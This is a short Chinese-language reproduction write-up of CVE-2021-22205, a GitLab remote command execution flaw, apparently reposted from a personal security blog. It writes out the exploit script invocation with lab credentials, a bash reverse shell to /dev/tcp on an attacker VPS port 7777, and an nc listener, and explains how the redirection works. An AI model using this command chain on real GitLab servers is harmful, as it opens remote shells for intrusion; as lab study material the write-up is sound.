CVE-2021-22205 Gitlab遠程命令執行漏洞復現


0x01

影響范圍:Gitlab version < 13.10.3

漏洞原理:https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html

0x02

開始復現

首先下載Exp,開始准備復現

打開靶機

 

 

 登錄進去,賬號為root 密碼為admin123

啟動vps與nc監聽端口

python3.8 cve-2021-22205.py -u root -p admin123 -t http://118.193.36.37:25856 -c "echo 'bash -i >& /dev/tcp/vps的IP地址/7777 0>&1' > /tmp/1.sh"

解疑 ”bash -i >& /dev/tcp/IP/PORT 0>&1” 

bash -i Linux中一般默認的shell是bash,bash可以覆蓋shell的一切功能 (通俗點 bash包含執行shell但bash的功能大於shell)
帶個 -i 就是打開一個交互型的bash

  標准輸入(stdin): 代碼為 0 使用 < 或 << 默認設備鍵盤

  標准輸出(stdout): 代碼為 1 使用 > 或 >> 默認設備顯示器

  標准錯誤輸出(stderr): 代碼為 2 使用 2> 或 2>> 默認設備顯示器

  bash -i 打開bash
  >&后面跟 /dev/tcp/[ip]/[port] (相當於>&后面接文件)將bash的標准輸出和標准錯誤輸出傳遞到遠程。
  0>&1將標准輸入重定向至標准輸出,由於標准輸出定向至遠程,標准輸入也借此定向到遠程。(由於標准錯誤輸出也定向至遠程,因此把 0>&1 改為 0>&2 也可以得到一個交互shell)

 

 

開始進行操作

 

 首先創建1.sh文件,將標准輸出與輸入都發到遠程顯示

 

 使用chmod +x 來為1.sh賦權

 

 /bin/bash來執行1.sh

 

nc -lnvp 7777監聽端口,成功getshell

 

0x03

至此,對CVE-2021-22205的漏洞復現結束


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM